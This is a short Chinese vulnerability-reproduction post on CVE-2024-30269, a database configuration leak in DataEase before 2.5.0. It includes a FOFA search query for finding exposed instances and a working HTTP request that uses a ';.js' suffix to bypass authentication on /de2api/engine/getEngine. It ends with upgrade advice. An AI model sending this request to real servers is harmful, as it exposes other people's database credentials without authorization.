【漏洞复现】DataEase 数据库配置信息泄露漏洞（CVE-2024-30269）
·
免责声明
请勿使用本文中提到的技术进行非法测试或行为。使用本文中提供的信息或工具所造成的任何后果和损失由使用者自行承担，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
一、简介
DataEase是开源的数据可视化分析工具，帮助用户快速分析数据并洞察业务趋势，从而实现业务的改进与优化。
二、漏洞描述
接口/de2api/engine/getEngine处存在数据库配置信息泄露漏洞。
三、fofa语法
body="Dataease"
四、漏洞影响范围
版本2.5.0之前
五、漏洞复现
GET /de2api/engine/getEngine;.js HTTP/1.1
Host: ip
批量探测是否存在该漏洞
六、修复建议
更新当前系统或软件至最新版
DAMO开发者矩阵，由阿里巴巴达摩院和中国互联网协会联合发起，致力于探讨最前沿的技术趋势与应用成果，搭建高质量的交流与分享平台，推动技术创新与产业应用链接，围绕“人工智能与新型计算”构建开放共享的开发者生态。
更多推荐
5
0- 0
已为社区贡献1条内容
所有评论(0)